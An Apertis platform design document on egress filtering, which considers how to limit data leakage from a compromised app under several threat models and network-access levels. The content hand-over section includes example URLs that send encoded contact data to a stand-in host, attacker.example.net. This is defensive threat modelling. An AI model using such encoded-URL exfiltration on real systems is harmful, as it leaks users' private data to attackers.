



Egress filtering

# 1 Contents

2	Assumptions . . . . .	2
3	Use-cases . . . . .	3
4	Purely offline application . . . . .	3
5	Application without direct Internet access . . . . .	5
6	Full Internet access . . . . .	9
7	Lower-level networking . . . . .	12
8	Attack detection . . . . .	13
9	Recommendations . . . . .	13
10	Possible extensions . . . . .	13
11	Internet access limited to common protocols . . . . .	13
12	Domain-limited Internet access . . . . .	14
13	Design notes . . . . .	17
14	References . . . . .	18

15       This way to the egress! — [attributed to P. T. Barnum](#)<sup>1</sup>

16 An application that handles confidential data might have a security vulnerability  
17 that leads to it becoming controlled by an attacker. This design aims to mitigate  
18 such attacks.

## 19 Assumptions

20 We assume that the user has some confidential data (for example the contents  
21 of their address book), accessible to a particular [application bundle](#)<sup>2</sup>, and that  
22 an attacker’s goal is to gain access to that confidential data.

23 We assume that an application bundle with access to confidential data might be-  
24 come attacker-controlled due to a security vulnerability in the implementation  
25 of that application bundle, or in libraries that it uses. For example, there might  
26 be a security vulnerability in a JPEG decoding library used by the address-  
27 book user interface; an attacker might be able to exploit this vulnerability by  
28 publishing a crafted JPEG image in a vCard, so that when the image is de-  
29 coded and displayed by the address-book user interface, arbitrary instructions  
30 of the attacker’s choice are executed with the privileges of the address-book user  
31 interface (*arbitrary code execution*).

32 We assume that if other application bundles on the device are also controlled  
33 by the attacker, those bundles do not have privileges that the bundle under  
34 discussion does not have. In other words, we do not attempt to protect against  
35 a scenario where the attacker has independently compromised one app bundle  
36 which can access confidential data but not the Internet, and a second app bundle  
37 which can access the Internet but not confidential data, and now aims to make  
38 those app-bundles conspire to send confidential data to the Internet.

---

<sup>1</sup>[https://en.wikipedia.org/wiki/Barnum%27s\\_American\\_Museum#Attractions](https://en.wikipedia.org/wiki/Barnum%27s_American_Museum#Attractions)

<sup>2</sup><https://jwd.pages.apertis.org/apertis-website/glossary/#app-bundle>

39 *The rationale for this assumption is that if the conspiring app-bundles both have*  
40 *access to a shared storage area such as a USB thumb drive, or an area of the*  
41 *filesystem designated for inter-app sharing such as Android’s [public storage di-](#)*  
42 *rectory<sup>3</sup>, then we cannot prevent them from using that area to communicate;*  
43 *because the [Multi-User design document](#)<sup>4</sup> calls for audio and video files to be*  
44 *stored in a shared location, we must assume that at least some app-bundles are*  
45 *able to use it. A rational attacker would choose to target app-bundles which do*  
46 *have access to the shared storage area, in order to make use of this mechanism.*  
47 *Additionally, fully protecting against that scenario would require that we elimi-*  
48 *nate any other [covert channels](#)<sup>5</sup> between the app-bundles. The standard model*  
49 *for formalizing covert channels is to set an upper bound on the rate at which one*  
50 *of the conspiring app-bundles may transfer data to the other, and ensure that*  
51 *the total bandwidth of all possible covert channels cannot exceed the permitted*  
52 *rate.*

53 For attacks where it is relevant whether the attacker has control over the net-  
54 work, we consider three threat models representing different assumptions:

- 55 1. *Attacker controls a server:* The attacker controls one or more Internet  
56 hosts (for example the attacker might have ordinary home/business broad-  
57 band, be a customer of a generic hosting platform such as Amazon AWS,  
58 or control a “botnet” of compromised home/business machines). None  
59 of the servers controlled by the attacker are directly related to either the  
60 Apertis device, or any of the servers with which the application being  
61 considered would normally communicate.
- 62 2. *Passive network attacks:* The attacker has all the capabilities from the pre-  
63 vious threat model, and can additionally perform passive attacks (eaves-  
64 drop on messages) on the local links used by the Apertis device (including  
65 Wi-Fi, Bluetooth, and cellular networks such as 4G used to connect to an  
66 Internet gateway), or on the path between the gateway and any remote  
67 server.
- 68 3. *Active network attacks:* The attacker has all the capabilities from the pre-  
69 vious threat model, and can additionally perform active attacks (suppress  
70 desired messages, or generate undesired messages).

## 71 Use-cases

### 72 Purely offline application

73 Suppose the applications and agents in a bundle process confidential data, but  
74 never require either Internet access or communication with other applications.  
75 For example, an application to display detailed information about the vehicle,  
76 including sensitive data such as serial numbers, might not have any need to

<sup>3</sup>[https://developer.android.com/reference/android/os/Environment.html#  
getExternalStoragePublicDirectory%28java.lang.String%29](https://developer.android.com/reference/android/os/Environment.html#getExternalStoragePublicDirectory%28java.lang.String%29)

<sup>4</sup><https://jwd.pages.apertis.org/apertis-website/concepts/multiuser/>

<sup>5</sup>[https://en.wikipedia.org/wiki/Covert\\_channel](https://en.wikipedia.org/wiki/Covert_channel)

77 communicate with any other application.

- 78 • **Unresolved:** is there a more common use-case for this? I considered doc-  
79 umenting this in terms of something like a stored-password manager, but it  
80 seems likely that the majority of applications would want to communicate  
81 with other applications somehow; even something as limited and security-  
82 sensitive as a stored-password manager would probably benefit from the  
83 ability to send passwords to the relevant application. Conversely, simple  
84 games such as Sudoku or Hitori, or simple utilities such as a calculator,  
85 have no need for Internet access but also do not have access to any con-  
86 fidential data; isolating these applications from the Internet would be a  
87 good idea from the perspective of “least-privilege”, but does not actually  
88 prevent any confidential data from being propagated, because they have  
89 no confidential data to propagate.

90 Suppose an attacker somehow gains control over such an application, as de-  
91 scribed in **Assumptions**. Our goal in situations like this is to prevent the at-  
92 tacker from copying the user’s confidential data into a location where it can be  
93 read by the attacker.

- 94 • **Unresolved:** if it does not communicate with networks or other applica-  
95 tions, how would an attacker achieve this?

96 The application bundle must not be able to send the user’s confidential data  
97 directly.

- 98 • The platform must not allow that application bundle to send messages  
99 with attacker-chosen contents on Wi-Fi, Bluetooth or cellular networks  
100 via networking system calls such as `socket()`. This must be **recorded as a**  
101 **probable attack**.
  - 102 – If this requirement is not met, then confidentiality could be defeated  
103 by **passive network attacks**.
- 104 • The platform must not allow that application bundle to send messages  
105 with attacker-chosen contents via inter-process communication with net-  
106 work management services such as BlueZ or ConnMan. This must be  
107 **recorded as a probable attack**.
  - 108 – If this requirement is not met, then confidentiality could be defeated  
109 by **passive network attacks**.
- 110 • The platform must not allow that application bundle to send messages  
111 with attacker-chosen contents via platform services that interact with the  
112 network, such as the Newport download manager. This must be **recorded**  
113 **as a probable attack**.
  - 114 – For example, if this was not prevented, application bundle could con-  
115 struct one or more URLs that encode pieces of the user’s confidential  
116 data, on a server controlled by the attacker, and instruct Newport to  
117 download them; that would effectively result in giving the confiden-  
118 tial data to the server.
  - 119 – If this requirement is not met, then confidentiality could be defeated

120

by [control of any server](#).

121

The application bundle should also not be able to send the user’s confidential data *indirectly*, by asking that another application bundle does so.

122

123

- The application bundle should not be allowed to pass messages to other application bundles via [Content hand-over](#)<sup>6</sup>.

124

125

- Applications which require content hand-over for their normal functionality are outside the scope of this scenario, and are described in [Application without direct Internet access](#).

126

127

128

- The application bundle should not be allowed to pass messages to other application bundles via inter-process communication mechanisms such as those described in [Data sharing](#)<sup>7</sup>.

129

130

131

- Applications which require IPC for their normal functionality are outside the scope of this scenario, and are described in [Application without direct Internet access](#).

132

133

134

**Unresolved:** Is this scenario something that we need to address, or is it sufficient to apply the weaker requirements of an [Application without direct Internet access](#)?

135

136

137

## Other systems

138

Android partially supports this scenario via the [INTERNET permission flag](#)<sup>8</sup>.

139

Applications without that flag are not allowed to open network sockets. However, Android [does not support preventing indirect URL dereferencing via content handover](#)<sup>9</sup>: any Android application can “fire an intent” which will result in a GET request to an arbitrary URL. This effectively reduces this scenario to the weaker requirements of an [Application without direct Internet access](#).

140

141

142

143

144

Android also does not support preventing its equivalents of our [Content hand-over](#)<sup>10</sup> and [communication with public interfaces](#)<sup>11</sup>: any application can declare a custom *intent* (analogous to our public interfaces), and any application can register to receive implicit intents matching a pattern (analogous to our content hand-over). Again, this is more similar to our [Application without direct Internet access](#) scenario.

145

146

147

148

149

150

As far as we can determine from its public documentation, iOS does not support this scenario at all. Sandboxed OS X applications partially support this scenario via [the com.apple.security.network.server and com.apple.security.network.client entitlement flags](#)<sup>12</sup>, but these flags are not

151

152

153

<sup>6</sup>[https://jwd.pages.apertis.org/apertis-website/concepts/content\\_hand-over/](https://jwd.pages.apertis.org/apertis-website/concepts/content_hand-over/)

<sup>7</sup>[https://jwd.pages.apertis.org/apertis-website/architecture/data\\_sharing/](https://jwd.pages.apertis.org/apertis-website/architecture/data_sharing/)

<sup>8</sup><https://developer.android.com/reference/android/Manifest.permission.html#INTERNET>

<sup>9</sup><https://developer.android.com/guide/components/intents-common.html#Browser>

<sup>10</sup>[https://jwd.pages.apertis.org/apertis-website/concepts/content\\_hand-over/](https://jwd.pages.apertis.org/apertis-website/concepts/content_hand-over/)

<sup>11</sup>[https://jwd.pages.apertis.org/apertis-website/architecture/data\\_sharing/](https://jwd.pages.apertis.org/apertis-website/architecture/data_sharing/)

<sup>12</sup><https://developer.apple.com/library/mac/documentation/Miscellaneous/Reference/>

154 available on iOS, and iOS does not appear to offer the ability to deny network  
155 access to an installed application<sup>13</sup> — perhaps because if it did, users would  
156 be able to turn off advertising-supported applications’ ability to download new  
157 advertisements.

## 158 Application without direct Internet access

159 Some applications and agents never require direct Internet access. For example,  
160 if we assume that a background service such as `evolution-data-server` is responsi-  
161 ble for managing the address book and performing online synchronization, then  
162 a human-machine interface (HMI, user interface) for the user’s address book  
163 has no legitimate reason to contact the Internet. However, even these limited  
164 applications and agents will typically require the ability to carry out **Content**  
165 **hand-over**<sup>14</sup>, which is the major difference between this scenario and the **Purely**  
166 **offline application**.

167 Suppose the attacker has been able to gain control over this application bundle,  
168 as described in **Assumptions**. The application bundle must not be able to send  
169 the user’s confidential data directly.

- 170 • The requirements here are the same as for a **Purely offline application**  
171 being prevented from carrying out direct Internet access.

172 Suppose additionally that the address book app requires the ability to perform  
173 **Content hand-over**<sup>15</sup> for its normal functionality: for example, when the user  
174 taps on the phone number, web page or postal address of a contact, it would be  
175 reasonable for the UX designer to require that content handover to a telephony,  
176 web browser or navigation application is performed.

- 177 • *Non-requirement*: it is not possible to prevent the attacker from sending a  
178 small subset of the user’s confidential data via content handover to other  
179 applications, and we will not attempt to do so. For example, if the address  
180 book app must be allowed to hand over `http://blogs.example.com/alice/`  
181 to the web browser, then the compromised app is equally able to hand over  
182 `http://attacker.example.net/QWxpY2UgU21pdGg7KzQ0IDE2MzIgMTIzNDU2Cg==` to  
183 the same web browser; this could conceivably be the address of a con-  
184 tact’s website (or at least, an algorithmic check cannot determine that it  
185 isn’t), but in fact it results in encoded data representing “Alice Smith;+44  
186 1632 123456” being sent to the attacker.
  - 187 – The example given is deliberately not particularly subtle. A real  
188 attacker would probably use a less obvious encoding.

---

EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple\_ref/doc/uid/TP40011195-CH4-SW1

<sup>13</sup><http://www.howtogeek.com/177711/ios-has-app-permissions-too-and-theyre-arguably-better-than-androids/>

<sup>14</sup>[https://jwd.pages.apertis.org/apertis-website/concepts/content\\_hand-over/](https://jwd.pages.apertis.org/apertis-website/concepts/content_hand-over/)

<sup>15</sup>[https://jwd.pages.apertis.org/apertis-website/concepts/content\\_hand-over/](https://jwd.pages.apertis.org/apertis-website/concepts/content_hand-over/)

- 189           – This results in confidentiality being partially defeated by **control of**  
190           **any server** (in this example, `attacker.example.net`).
- 191 • *Non-requirement:* we probably cannot filter content handover to  
192     only allow URIs or file contents that do not look suspicious, be-  
193     cause we cannot determine precisely how the application will  
194     process URIs that it receives, and what actions different com-  
195     ponents of a URI or file will trigger: an application might re-  
196     spond to a URI in an unexpected way, for example responding to  
197     `https://good.example.com/benign?ref=attacker.example.net&data=Alice+Smith%3B%2B44+1632+123456`  
198     by sending the specified address-book data to `attacker.example.net`.
  - 199 • If the compromised app carries out content handover with messages that  
200     are suspiciously large or frequent, the platform may respond to this in  
201     some way. For example, this could indicate an attempt to transmit the  
202     user’s entire address book.
    - 203       – This mitigates the loss of confidentiality.
    - 204       – The platform may **assess this as a potential attack**, but we recom-  
205       mend that this is not done, because it would be easy for a non-  
206       compromised, non-malicious application to trigger this detection if a  
207       corner-case in its normal operation leads to an unexpected burst of  
208       activity.
    - 209       – The platform may respond by delaying (rate-limiting, throttling) the  
210       processing of further messages, so that all messages from the app will  
211       be processed eventually, but the rate at which content handover can  
212       send data is limited to an acceptable level. We recommend that this  
213       is done instead of triggering attack-detection.
  - 214 • If the compromised app carries out content handover while in the back-  
215     ground, the platform may respond to this in some way.
    - 216       – The platform may **assess this as a potential attack**.
    - 217       – The platform may delay processing of the second content handover  
218       transaction until the next time the sending app is in the foreground,  
219       effectively rate-limiting content handover to one handover transaction  
220       per time the user switches back to the sending app.
    - 221       – This mitigates the loss of confidentiality.
    - 222       – **Unresolved:** Are there situations where content handovers from the  
223       background would be a valid thing for a non-compromised app to do?
  - 224 • *Possible enhancement:* If the compromised app carries out content han-  
225     dover while in the foreground, but not in response to user action, the  
226     platform may **assess this as a potential attack**.
    - 227       – **Unresolved:** This appears unlikely to be useful in practice. If an  
228       app is in the foreground, then the user is likely to be interacting with  
229       it; the app could interpret any user interaction, such as a tap on a  
230       contact’s name in the contact list, as triggering content handover as  
231       a side-effect in addition to having its usual function.
  - 232 • To discourage this mode of attack, content hand-over should be made  
233     obvious to the user. For example, the Didcot content handover service  
234     could impose the policy that whenever app A hands over content to app

- 235 B, app B is brought into the foreground.
- 236 – This mitigates the loss of confidentiality by making it detectable by
- 237 the user.
- 238 – **Unresolved:** Are there situations where this would be undesired?
- 239 – If the user becomes suspicious and terminates the application, any
- 240 incomplete content hand-over transactions that had been delayed by
- 241 rate-limiting and not yet acknowledged should be cancelled.
- 242 • *Trade-off:* if each recipient of content hand-over requires user confirmation
- 243 before carrying out external transmission such as Internet access or a
- 244 phone call based on content that was handed over, then this attack can
- 245 be avoided. However, the well-known problem with this approach is that
- 246 [users have been conditioned to click “OK” to all prompts](#)<sup>16</sup>: if the user
- 247 perceives a confirmation prompt as getting in the way of what they wanted
- 248 to do, they will allow it. If the user taps on the phone number or web page
- 249 of a contact in the address book HMI, it is reasonable to expect that the
- 250 requested action is performed immediately; a user getting an unexpected
- 251 prompt in this situation would most likely be annoyed by the prompt,
- 252 press “OK”, and get into the habit of pressing “OK” to all equivalent
- 253 prompts in future, even those that are actually protecting them from an
- 254 unrequested action.
- 255 – This would mitigate the loss of confidentiality, but is probably not
- 256 useful in practice.

257 Suppose the address book app requires the ability to communicate with

258 apps/agents that implement a [public interface](#)<sup>17</sup> for its normal functionality:

259 for example, it might have a button to perform a device-wide search for files

260 and other content items that mention a contact’s name.

- 261 • *Non-requirement:* it is not possible to prevent the attacker from sending
- 262 the user’s confidential data to other applications, and we will not attempt
- 263 to do so. For example, if the address book app must be allowed to carry
- 264 out a [Sharing](#)<sup>18</sup> operation, then the compromised app is equally able to
- 265 “share” the user’s entire address book with any registered sharing provider.
- 266 – Note that [our assumption that the attacker does not control other](#)
- 267 [applications with more privileges](#) applies here: if that assumption
- 268 holds, then sending the user’s address book to a non-malicious, non-
- 269 attacker-controlled sharing provider does not help the attacker to
- 270 achieve their goal.
- 271 • If the compromised app sends messages that are suspiciously large or fre-
- 272 quent, the platform may apply rate-limiting, similar to what was described
- 273 above for content hand-over.
- 274 – We do not recommend that this is [assessed as a potential attack](#), for
- 275 the same reasons as for content hand-over. If public interfaces are to

<sup>16</sup>[https://www.schneier.com/blog/archives/2006/04/microsoft\\_vista.html](https://www.schneier.com/blog/archives/2006/04/microsoft_vista.html)

<sup>17</sup>[https://jwd.pages.apertis.org/apertis-website/architecture/data\\_sharing/](https://jwd.pages.apertis.org/apertis-website/architecture/data_sharing/)

<sup>18</sup><https://jwd.pages.apertis.org/apertis-website/concepts/sharing/>



276 be a useful extension mechanism without requiring centralized over-  
 277 sight by Apertis developers, then we must allow relatively arbitrary  
 278 uses.

- 279 • If the compromised app carries out sharing while in the background, the  
 280 platform might **assess this as a potential attack**.
  - 281 – **Unresolved:** Are there situations where this would be a valid thing  
 282 for a non-compromised app to do?
- 283 • *Possible enhancement:* If the compromised app carries out sharing while  
 284 in the foreground, but not in response to user action, the platform may  
 285 **assess this as a potential attack**.
  - 286 – **Unresolved:** This seems unlikely to be useful in practice; the same  
 287 issues apply here as for content hand-over.
- 288 • To discourage this mode of attack, whenever a public interface results in  
 289 external transmission, the implementer of the public interface should make  
 290 this obvious to the user.
  - 291 – This is entirely up to the implementer of the public interface: the  
 292 platform cannot enforce this. However, if we assume that the imple-  
 293 menter of the public interface is not attacker-controlled, it is reason-  
 294 able to assume that it will not behave maliciously.
  - 295 – **Unresolved:** Are there situations where this would be undesired?
- 296 • *Trade-off:* if each recipient of messages to a public interface requires user  
 297 confirmation before carrying out external transmission such as Internet  
 298 access or a phone call based on content that was handed over, then this  
 299 attack can be avoided.
  - 300 – Again, this is entirely up to the implementer of the public interface,  
 301 and the platform cannot enforce this.
  - 302 – As with content hand-over, this must be balanced against convenience  
 303 and UX expectations.

### 304 Other systems

305 Android supports this scenario via the [INTERNET permission flag](#)<sup>19</sup>. Appli-  
 306 cations without that flag are not allowed to open network sockets, and can  
 307 only communicate with the Internet via mechanisms analogous to our [Content](#)  
 308 [hand-over](#)<sup>20</sup> and [Data sharing](#)<sup>21</sup>.

309 However, iOS does not appear to support this scenario, as described in [Purely](#)  
 310 [offline application](#).

### 311 Full Internet access

312 Suppose an application handles confidential data, and requires general-purpose  
 313 Internet access. For example, a generic Web browser such as Apertis'

<sup>19</sup><https://developer.android.com/reference/android/Manifest.permission.html#INTERNET>

<sup>20</sup>[https://jwd.pages.apertis.org/apertis-website/concepts/content\\_hand-over/](https://jwd.pages.apertis.org/apertis-website/concepts/content_hand-over/)

<sup>21</sup>[https://jwd.pages.apertis.org/apertis-website/architecture/data\\_sharing/](https://jwd.pages.apertis.org/apertis-website/architecture/data_sharing/)

314 “Rhayader” browser falls into this category.

315 Suppose there is a security vulnerability in a component receiving data from the  
316 Internet; for example, the same JPEG decoding library vulnerability described  
317 in [Application without direct Internet access](#).

318 Again, our goal is to prevent the attacker from copying the user’s confidential  
319 data, such as their passwords, into a location where it can be read by the  
320 attacker.

- 321 • *Non-requirement:* If the application needs to contact servers without end-  
322 to-end confidentiality protection (HTTPS), for example using HTTP or  
323 FTP, then an attacker capable of at least [passive attacks](#) could send the  
324 confidential data over such a connection, and eavesdrop on that connec-  
325 tion to obtain the confidential data. This cannot be solved, except by  
326 [restricting the application to protocols known to preserve confidentiality](#).
- 327 • Unlike the [Application without direct Internet access](#), the platform should  
328 allow that application bundle to send messages via platform services that  
329 interact with the network, such as the Newport download manager.
  - 330 – *Rationale:* *Preventing this is not helpful, because the application could*  
331 *equally well send those messages itself.*

332 If unencrypted HTTP or FTP is used, we certainly cannot ensure confidentiality  
333 in the presence of an attacker who can perform [passive network attacks](#).

- 334 • **Not feasible:** It is not feasible to preserve confidentiality of data sent via  
335 HTTP or FTP without an app-specific confidentiality layer, because we  
336 assume that the attacker is able to read local wireless networking traffic,  
337 which includes the clear-text HTTP or FTP transactions.
- 338 • The platform should encourage the use of end-to-end-confidential proto-  
339 cols such as HTTPS.
- 340 • *Trade-off:* In principle we could discourage unencrypted traffic by only al-  
341 lowing the majority of applications to use HTTPS on port 443, and requir-  
342 ing a permissions flag for anything else. However, this would contribute  
343 to the “protocol ossification” described in papers such as [RFC 3205](#)<sup>22</sup>, ‘[Os-](#)  
344 [sification of the Internet](#)’ and ‘[Ossification: a result of not even trying?](#)’,  
345 in which transactions are disguised as HTTP on port 80 or HTTPS on  
346 port 443 to bypass interference from well-meaning gateways, undermining  
347 the ability to classify traffic or use better-performing protocols such as  
348 UDP/RTP where they are appropriate.

349 One mechanism that might be proposed is to require that the platform is able to  
350 perform [deep packet inspection](#)<sup>23</sup> on all network traffic; this is essentially a [web](#)  
351 [application firewall](#)<sup>24</sup>, which is a specialized form of [application-level gateway](#)<sup>25</sup>.  
352 However, we do not believe this to be particularly useful here. Normally, web

<sup>22</sup><https://tools.ietf.org/html/rfc3205>

<sup>23</sup>[https://en.wikipedia.org/wiki/Deep\\_packet\\_inspection](https://en.wikipedia.org/wiki/Deep_packet_inspection)

<sup>24</sup>[https://www.owasp.org/index.php/Web\\_Application\\_Firewall](https://www.owasp.org/index.php/Web_Application_Firewall)

<sup>25</sup>[https://en.wikipedia.org/wiki/Application-level\\_gateway](https://en.wikipedia.org/wiki/Application-level_gateway)

353 application firewalls are deployed between the Internet and an *origin server*  
354 (web server), to protect the origin server from attackers on the Internet. This  
355 means the web application firewall can make assumptions about the forms of  
356 traffic that are or are not legitimate, based on the known requirements of the  
357 web application being run on the web server. However, this deployment would  
358 instead be between a user agent (web client) and the Internet, aiming to protect  
359 user agents with unknown requirements and behaviour patterns. This makes  
360 the design of a useful web application firewall much more difficult.

- 361 • **Not necessarily feasible:** Ideally, the platform would not allow confi-  
362 dential data to be sent to Internet sites other than those that the user  
363 intends. However, this is not feasible to achieve for several reasons:
  - 364 – We assume that the attacker controls the compromised application,  
365 and the endpoint to which it is sending data. The attacker could  
366 avoid deep-packet inspection by applying strong end-to-end confiden-  
367 tiality to the data sent (for example by using public-key cryptogra-  
368 phy), or by applying a weak obfuscation mechanism that is neverthe-  
369 less not specifically known to the platform.
  - 370 – If encryption is used, we cannot distinguish between encrypted non-  
371 confidential data and encrypted confidential data.
  - 372 – Even if encryption is not used, we cannot necessarily distinguish be-  
373 tween confidential data which is being sent to an endpoint that has a  
374 legitimate need to handle it (for example sending the user’s address  
375 book to a PIM application, Facebook, or LinkedIn) and confidential  
376 data which is being sent to an endpoint that does not (for example  
377 sending the user’s address book to the attacker’s server).
  - 378 – Because the platform does not have an in-depth understanding of  
379 what the application aims to do (that would defeat the purpose of  
380 an app framework), it cannot apply a “default-deny” policy in which  
381 only the expected messages are permitted. Deep packet inspection  
382 in this scenario would necessarily have to fall back to “enumerating  
383 badness”, which necessarily lags behind the discovery of new threats.
  - 384 – Similarly, because the platform does not understand the syntax of  
385 arbitrary network protocols, it could only guess at the meaning (se-  
386 mantics) of the content sent by the application.

387 If a technique such as end-to-end encrypted HTTPS is used, we can only detect  
388 suspicious transactions if the platform is empowered to break the security of the  
389 HTTPS connection, for example via one of these techniques, neither of which  
390 appears to be desirable.

- 391 • **Not recommended:** arranging for the application to provide each TLS  
392 connection’s *master secret* to an otherwise non-intercepting proxy, allow-  
393 ing that proxy to decrypt the traffic that it passes through.
  - 394 – The non-intercepting proxy would become a very attractive target for  
395 attackers, because finding a vulnerability in it would provide access  
396 to all confidential traffic.

- 397           – An attacker could still embed small amounts of confidential data in  
398           the TLS handshake by choosing a suitable value for the pre-master  
399           secret, which is not something we can meaningfully filter (since it is  
400           meant to be random, and strongly encrypted data is indistinguishable  
401           from randomness).
- 402           – All the problems with deep packet inspection, noted above, still ap-  
403           ply.
- 404       • **Not recommended:** arranging for the application to trust a CA certifi-  
405       cate provided by a [TLS interception proxy](#)<sup>26</sup> on the device and acting as  
406       a “man-in-the-middle”
- 407           – A man-in-the-middle is one of the attacks that HTTPS is designed to  
408           prevent, which means that recent/future HTTPS techniques such as  
409           [certificate pinning](#)<sup>27</sup> will tend to include measures that should defeat  
410           it.
- 411           – Terminating the TLS connection at the proxy can also lead to [new](#)  
412           [vulnerabilities](#)<sup>28</sup> for the application.
- 413           – The same single-point-of-failure reasoning as above applies.
- 414           – All the problems with deep packet inspection, noted above, still ap-  
415           ply.

## 416 Other systems

417 In Android, this is governed by the same `INTERNET` permissions flag as [Internet](#)  
418 [access limited to common protocols](#).

419 Similarly, iOS does not appear to support this scenario: as discussed in [Appli-](#)  
420 [cation without direct Internet access](#), all iOS apps can contact the network.

## 421 Lower-level networking

422 The next step beyond [Full Internet access](#) is the scenario of an application that  
423 cannot be restricted to Internet protocols either; for example, an application  
424 making use of direct Bluetooth, Wi-Fi, NFC or Ethernet communication (at  
425 the link layer rather than the transport layer) might fall into this category.

426 The goals, requirements and feasibility problems here are very similar to [Full](#)  
427 [Internet access](#), except that meaningful proxying for arbitrary link-layer net-  
428 working is likely to be more difficult than proxying arbitrary transport-layer  
429 networking.

430 Additionally, because there is a tendency for other nearby devices to trust mes-  
431 sages received via local wireless networks such as Bluetooth, the ability to carry  
432 out this low-level networking should be restricted.

---

<sup>26</sup><http://www.zdnet.com/article/how-the-nsa-and-your-boss-can-intercept-and-break-ssl/>

<sup>27</sup>[https://www.owasp.org/index.php/Certificate\\_and\\_Public\\_Key\\_Pinning](https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning)

<sup>28</sup>[https://www.owasp.org/index.php/Certificate\\_and\\_Public\\_Key\\_Pinning#When\\_Do\\_You\\_Whitelist.3F](https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning#When_Do_You_Whitelist.3F)

- 433     • Applications that do not require a particular form of local communication  
434     for their normal functionality must be prevented from using it. This mit-  
435     igates the effect of a compromised application: nearby devices can only  
436     be attacked if the compromised application happens to be one that has  
437     permission to use the relevant form of local communication.

## 438 **Other systems**

439 Android requires specific permissions flags (BLUETOOTH, BLUETOOTH\_ADMIN,  
440 BLUETOOTH\_PRIVILEGED, CHANGE\_WIFI\_MULTICAST\_STATE,  
441 CHANGE\_WIFI\_STATE, NFC, TRANSMIT\_IR) for low-level networking.

442 iOS prompts the user before the first time a similar action is performed.

## 443 **Attack detection**

444 The platform should have a heuristic for detecting whether an app has been  
445 compromised or is malicious.

- 446     • The points described as a “probable attack” and “potential attack” above  
447     may be used as input into this heuristic.
- 448     • Other inputs outside the scope of this design, such as AppArmor alerts  
449     for attempts to access files not allowed by its profile, may be used as input  
450     into this heuristic.
- 451     • If this heuristic considers the app to be compromised, the platform may  
452     prevent it from running altogether.
- 453     • If this heuristic considers the app to be somewhat likely to be compro-  
454     mised, the platform may allow it to run, but prevent it from carrying out  
455     content handover or carrying out inter-process communication with any  
456     non-platform process.
- 457         – **Unresolved:** Is this capability required?
- 458     • If this heuristic considers the app to be unlikely to be compromised, the  
459     platform should allow it to run unhindered.
- 460     • *Non-requirement:* The exact design of this heuristic is outside the scope  
461     of this document, and will be covered by a separate design.

## 462 **Recommendations**

463 *TODO: add recommendations after a provisional set of requirements has been*  
464 *agreed*

## 465 **Possible extensions**

### 466 **Internet access limited to common protocols**

467 Many applications and agents require Internet access to communicate with ar-  
468 bitrary sites, but can be restricted to specific protocols without loss of function-  
469 ality. For example, a general-purpose web browser would typically only require

470 support for HTTPS, HTTP and FTP. Additionally, it might only require access  
471 to the default network ports for those protocols.

472 We could conceivably require that these applications are restricted to those spe-  
473 cific protocols. However, it is not clear that this would enable more meaningful  
474 filtering than in the **Full Internet access** case: the majority of the issues outlined  
475 there still apply.

476 If we were to go too far with encouraging the use of well-known protocols such  
477 as HTTPS, for example by requiring a permissions flag and special auditing for  
478 anything else, this risks the “protocol ossification” problem described in papers  
479 such as **RFC 3205**<sup>29</sup>, ‘**Ossification of the Internet**’ and ‘**Ossification: a result of**  
480 **not even trying?**’, in which transactions are disguised as HTTP on port 80 or  
481 HTTPS on port 443 to bypass interference from well-meaning gateways such as  
482 our platform, undermining the ability to classify traffic or use better-performing  
483 protocols such as UDP/RTP where they are appropriate.

484 We recommend that the Apertis platform should have advisory/discretionary  
485 mechanisms encouraging the use of HTTPS, to reduce the chance that an appli-  
486 cation will accidentally use an insecure connection: for example, general-purpose  
487 libraries such as libsoup could be given a mode where they reject insecure con-  
488 nections to some or all domains selected by the application manifest, similar  
489 to Apple’s App Transport Security. However, this specifically does not provide  
490 egress filtering or address the attacks described in this document, because an at-  
491 tacker with control over the application code could bypass it by using lower-level  
492 networking functionality.

## 493 Other systems

494 Android **specifically does not support this scenario**<sup>30</sup>. Applications with the  
495 INTERNET permissions flag can contact any Internet host using any protocol.

496 It is not entirely clear whether iOS **App Transport Security**<sup>31</sup> is able to prevent  
497 unencrypted HTTP operations by a compromised process. ATS does prevent  
498 accidental unencrypted HTTP operations when higher-level library functions  
499 are used, analogous to what would happen in Apertis if libsoup could be con-  
500 figured to forbid unencrypted HTTP. However, it is not clear from the public  
501 documentation whether iOS apps are able to bypass ATS by using lower-level  
502 system calls such as `socket()`; if they are, then a compromised application could  
503 still send unencrypted HTTP requests. **Xamarin documentation**<sup>32</sup> describes the  
504 C# APIs `HttpRequest` and `WebServices` as unaffected by ATS, which suggests

<sup>29</sup><https://tools.ietf.org/html/rfc3205>

<sup>30</sup><https://groups.google.com/forum/#!topic/android-security-discuss/7Hqbhed8bZg>

<sup>31</sup>[https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple\\_ref/doc/uid/TP40009251-SW33](https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW33)

<sup>32</sup>[https://developer.xamarin.com/guides/ios/platform\\_features/introduction\\_to\\_ios/ats/](https://developer.xamarin.com/guides/ios/platform_features/introduction_to_ios/ats/)

505 that lower-level system calls do indeed bypass ATS. This matches the ATS-like  
506 mechanism that we recommend above.

## 507 **Domain-limited Internet access**

508 Some applications and agents only require Internet access to communicate with  
509 a particular list of domains via well-known protocols. For example, a Twitter  
510 client might only need the ability to communicate with hosts in the `twitter.com`  
511 and `twimg.com` domains.

512 This is implementable in principle, but is complex, and it is not clear that it  
513 provides any additional security that cannot be circumvented by an attacker.  
514 We recommend not addressing this scenario.

515 **Unresolved:** Do we require specific support for this scenario, or should it be  
516 treated as **Internet access limited to common protocols** or **Full Internet access**?

517 Suppose there is a security vulnerability in a component receiving data from the  
518 Internet; for example, the same JPEG decoding library vulnerability described  
519 in **Application without direct Internet access**.

520 Again, our goal is to prevent the attacker from copying the user's confidential  
521 data, such as their Twitter password, into a location where it can be read by  
522 the attacker.

- 523 • *Non-requirement:* We cannot prevent the compromised application from  
524 contacting the domains that it normally needs to contact. For example,  
525 we cannot prevent a compromised Twitter client from sending the user's  
526 Twitter password to the attacker via a Twitter message.
- 527 • *Non-requirement:* If the application needs to contact servers without end-  
528 to-end confidentiality protection (HTTPS), for example using HTTP or  
529 FTP, then an attacker capable of at least **passive attacks** could send the  
530 confidential data over such a connection, and eavesdrop on that connection  
531 to obtain the confidential data. This cannot be solved, except by requiring  
532 HTTPS.
